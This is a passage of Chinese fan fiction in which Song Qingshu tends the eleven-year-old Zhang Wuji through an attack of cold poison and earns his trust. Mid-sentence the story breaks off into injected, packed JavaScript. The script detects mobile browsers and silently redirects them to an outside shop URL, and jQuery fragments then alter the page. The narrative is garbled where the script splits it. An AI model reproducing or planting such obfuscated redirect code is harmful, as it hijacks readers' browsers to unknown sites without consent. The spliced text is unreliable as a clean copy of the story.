次日，宋青书抱着一本医书从藏经阁出来时，天色还未大亮。
石阶上积着昨夜未扫尽的落叶，足尖碾过，发出细碎的沙沙声响。
初冬的风裹着凉意扑面而来，转过回廊，一阵压抑的呻吟忽然钻入耳中——像受伤的小兽，从喉咙深处挤出的呜咽，断续又隐忍。
宋青书脚步蓦地一顿。他记得书里写过，某年中秋佳节，张无忌寒毒突发，寒战不止，却怕扫了众人的雅兴，硬是咬牙强忍，最后还是心思细腻的殷梨亭察觉，将他扶回房中歇息。
宋青书太懂这孩子的心思了，父母早逝，纵然有太师父与诸位师叔的疼爱，终究相处时日尚浅，他骨子里总憋着一股劲，不愿给旁人添麻烦。
紧了紧身上的衣袍，宋青书循着声音快步走向那扇虚掩的房门。
推开门的刹那，屋内景象让他瞬间钉在了门槛上。
十一岁的张无忌蜷缩在床榻深处，身上裹着三层厚棉被，却仍像风中秋叶般扑簌发抖，单薄的脊背随着剧烈的寒战不停起伏。
被角已被冷汗浸得发沉，透出暗沉的湿痕。
孩子面朝内墙，只露出一截瘦削的后颈，脖颈上的青筋因隐忍而微微凸起。
“无忌师弟。”宋青书试探着唤了一声，声音放得极低极轻。
床榻上的颤抖倏然停了一瞬，随即，张无忌极缓慢地转过身来。
那是怎样一张苍白的小脸——嘴唇泛着青紫色，下唇被咬破了一块，结着暗红的血痂；额前的发丝湿漉漉地贴在皮肤上，分不清是冷汗还是强忍的泪水。
一双眼睛睁得大大的，里头盛着惊惶与隐忍，像只受惊的小兽。
“我是宋青书。”宋青书放轻脚步走进屋，反手轻轻掩上门，将怀里的医书搁在桌上，声音温和，“我的父亲是你大师伯，按辈分，你该唤我一声师兄。”
张无忌的嘴唇翕动了几下，却没发出半点声音，被子下的身体绷得像拉满的弓弦，指节死死揪着被面，指甲盖都泛出了青白。
“冷得厉害，是吗？”
宋青书在床边的圆凳上坐下，抬手便往张无忌的额头覆去。
温热的触感落在冰凉的额角时，张无忌才怔怔地抬眼，看清了眼前人的模样。
他的眉不浓不淡，恰到好处；眼睛很亮，不是灼灼的光，而是静水流深般的澄澈，像晴日里被阳光照亮的湖面。
他的手指很长，骨节分明，掌心带着温润的暖意，熨帖得让人贪恋。
后来喂药时，宋青书总会把勺子在唇边停一停，等药汁的热气散得温和了，才递到他嘴边；替他揉搓冻僵的小腿时，也必先将手掌在衣襟上捂得温热，再轻轻贴上去。
可张无忌最先记住的，其实是宋青书的声音。
那醇厚沉稳的嗓音，说着“该喝药了”，平平稳稳的，竟让苦涩的药汁也淡了几分。寒毒最烈、疼得神志昏沉时，那声音便化作低低的絮语，在疼痛的间隙里浮沉起落
像渡河的踏脚石，一步一步，引着他熬过最难捱的时刻，走向天光微亮的彼岸。
一渡过便是好日。
张无忌极轻微地点了点头。
宋青书环视屋内，炭盆里的炭火明明烧得正旺，那点热气却像被无形的屏障隔开，根本透不进层层裹身的棉被。
桌上搁着一碗早已冷透的药，褐色的汤汁表面凝了一层薄翳。
窗棂缝隙里漏进一线熹微的晨光，恰好落在张无忌暗青色的小脸上，衬得那点血色愈发单薄。
“你等等。”宋青书起身，从怀里摸出一个扁扁的锡壶，里面盛着清晨去藏经阁时灌的热水，本是预备研墨时暖手用的。
他倒出些许热水在掌心，双手交叠搓得温热，才小心翼翼地掀开被角。
指尖触到张无忌小腿的刹那，宋青书险些将手缩回来——哪里是血肉之躯该有的温度，分明是寒冬里从深井捞上来的石头，又冷又硬，冰得人指尖发麻。
宋青书深吸一口气，将温热的掌心紧紧覆上去，循着医书上记的推拿手法，缓缓揉捏着僵硬的肌肉，试图活络那冻得麻木的血脉。
他此刻只恨自己掌心的暖意不够滚烫，恨不能将周身的热都渡给这孩子。
就在这时，他体内沉寂许久的那股气息忽然蠢蠢欲动，像只脱缰的小兽，又像一股未经驯服的力量，自顾自地循着掌心的接触，丝丝缕缕地往张无忌体内渗去。
“好一点儿了吗？”宋青书低声问，掌心竟隐隐透出几分灼人的热度。
张无忌没有应声，可紧绷的小腿肌肉，却似有若无地松弛了些许。
他把脸更深地埋进枕头里，只露出一只湿漉漉的眼睛，一眨不眨地，悄悄凝望着身前这个陌生师兄专注的侧脸。
晨光渐渐漫过窗纸，将屋里的晦暗一点点驱散。
宋青书已经换了三遍热水，掌心搓得通红，指尖也麻木了，手上的动作却始终没停。
他一边揉着，一边用平稳温和的语调絮絮说着话，说后山哪条小径的野菊开得最盛，说紫霄宫晨钟暮鼓的时辰，说三清殿前的石狮子蹲了多少年。
他也不知道自己为何要说这些，许是觉得这屋子里太过安静，安静得让人心头发紧。
张无忌睁着圆溜溜的大眼睛，一瞬不瞬地看着他，良久，才带着一丝微颤的鼻音，轻轻唤道：“青书……哥哥……”
14
宋青书猛地抬起头——不知何时，张无忌已经转过脸来，那双大眼睛正一眨不眨地望着他，眼底的水雾尽数散开，露出了属于十一岁孩童应有的澄澈透亮。
“你……你叫我什么？”宋青书有些怔忪，指尖还残留着推拿时的凉意。
张无忌轻轻喘了口气，小声道：“你说，我该叫你哥哥。”
宋青书的心像是被什么柔软的东西轻轻撞了一下，温温热热的。
他这两世人生，从来没有人用这般带着依赖的、怯生生的语气唤他一声哥哥。“嗯。”他听见自己的声音，比方才又软了几分，“那就叫哥哥吧。”
重新温热好的药汁被端了进来，宋青书先伸手试了试碗壁的温度，才小心地扶起张无忌，一勺一勺地喂他喝。
药汁极苦，张无忌每咽下一口，眉头就紧紧蹙起，却自始至终没有躲闪。
喂到第五口时，他忽然偏过头，剧烈地咳嗽起来，褐色的药汁溅在宋青书的袖口，迅速洇开一片
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17109829|195845||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
深色的痕迹。
“对不起。”孩子慌忙挣扎着想伸手去擦。
“无事。”宋青书按住他乱动的手，从怀里掏出一方干净的手帕，先细细擦净他嘴角的药渍，这才随意地抹了抹自己的袖子，“药苦我知道，但必须得喝。你要是一口气喝完，总好过一口一口慢慢捱。”
张无忌点点头，乖乖接过药碗，仰头将剩下的药汁一饮而尽。
他刚喝完，宋青书便变戏法似的从袖中摸出一颗糖来，糖纸早已被他剥好。
冰糖刚放进嘴里，那点甜意便瞬间漫开。
张无忌的眼睛倏地亮了起来，染上几分孩童才有的稚气，他小声说道：“青书哥哥，我觉得这次寒毒发作，从你进来的时候，就已经停了。不仅不痛苦，还……还很甜。”
宋青书不由得笑了。
那笑意清浅温和，漫过眉眼。
“以后疼了，寒毒发作了，就叫出来。”宋青书转身从旁边的衣橱里拿出一套干爽的衣物，递给他，“把这身湿衣服换下来，浸在身上容易生病。”
“爹说，男子汉不能总喊疼。”张无忌摇摇头，小脸上带着几分执拗。
宋青书心头微动，忽然就懂了。
这个十一岁的孩子心里，藏着一股近乎执拗的骄傲，他总想着要证明自己不是旁人的负担。
就像此刻的自己，两个少年，在这间飘着淡淡药香的屋子里，在寒毒与焦灼的拉锯之中，竟生出了一种同病相怜的懂得。
“可是你若是不叫出来，太师傅、师叔们，还有我，只会更加担心。”宋青书蹲下身，望着他的眼睛，一字一句说得真挚。
张无忌望着他，迟疑了片刻，小声问：“那……我以后可以叫青书哥哥你吗？”
“当然可以。”宋青书抬手，轻轻揉了揉他的头发，声音温柔得不像话。
“无论何时？”
“无论何时，都可以。”
张无忌总是不由自主地关注着这位青书哥哥。
他留意到宋青书的道袍永远是整洁挺括的，可衣襟内侧却常沾着星星点点的墨痕，想来是熬夜研读医书时，不小心溅上的。
他还发现，宋青书身上总萦绕着三种味道——淡淡的墨香，微苦的药香，还有干净的皂角香。
三种气息交织缠绕，渐渐酿成了一种让人心安的味道，那是独属于宋青书的、名为“安全”的气息。
可宋青书的眼睛，却总让张无忌有些困惑。那双眸子太深了，深得像藏着数不清的心事，里面有怜惜，有焦灼，还有着与他年纪不符的、沉甸甸的责任感。
偶尔望过来时，目光仿佛穿透了时光，透过他的身影，落在了遥远的、不知名的地方。
有时张无忌会恍惚，觉得青书哥哥看的不是自己，可那份落在身上的暖意，又分明是真切的。
他曾忍不住问：“青书哥哥，你是不是很累？”
那时宋青书正握着石杵碾药，闻言动作微微一顿，抬眼看向他，唇边漾开一抹浅淡的笑：“照顾你，我不累。”
可张无忌却分明看见，那份笑意未及眼底，他仿佛能隐约触到，藏在宋青书温和表象之下，那缕饱经世事的灵魂。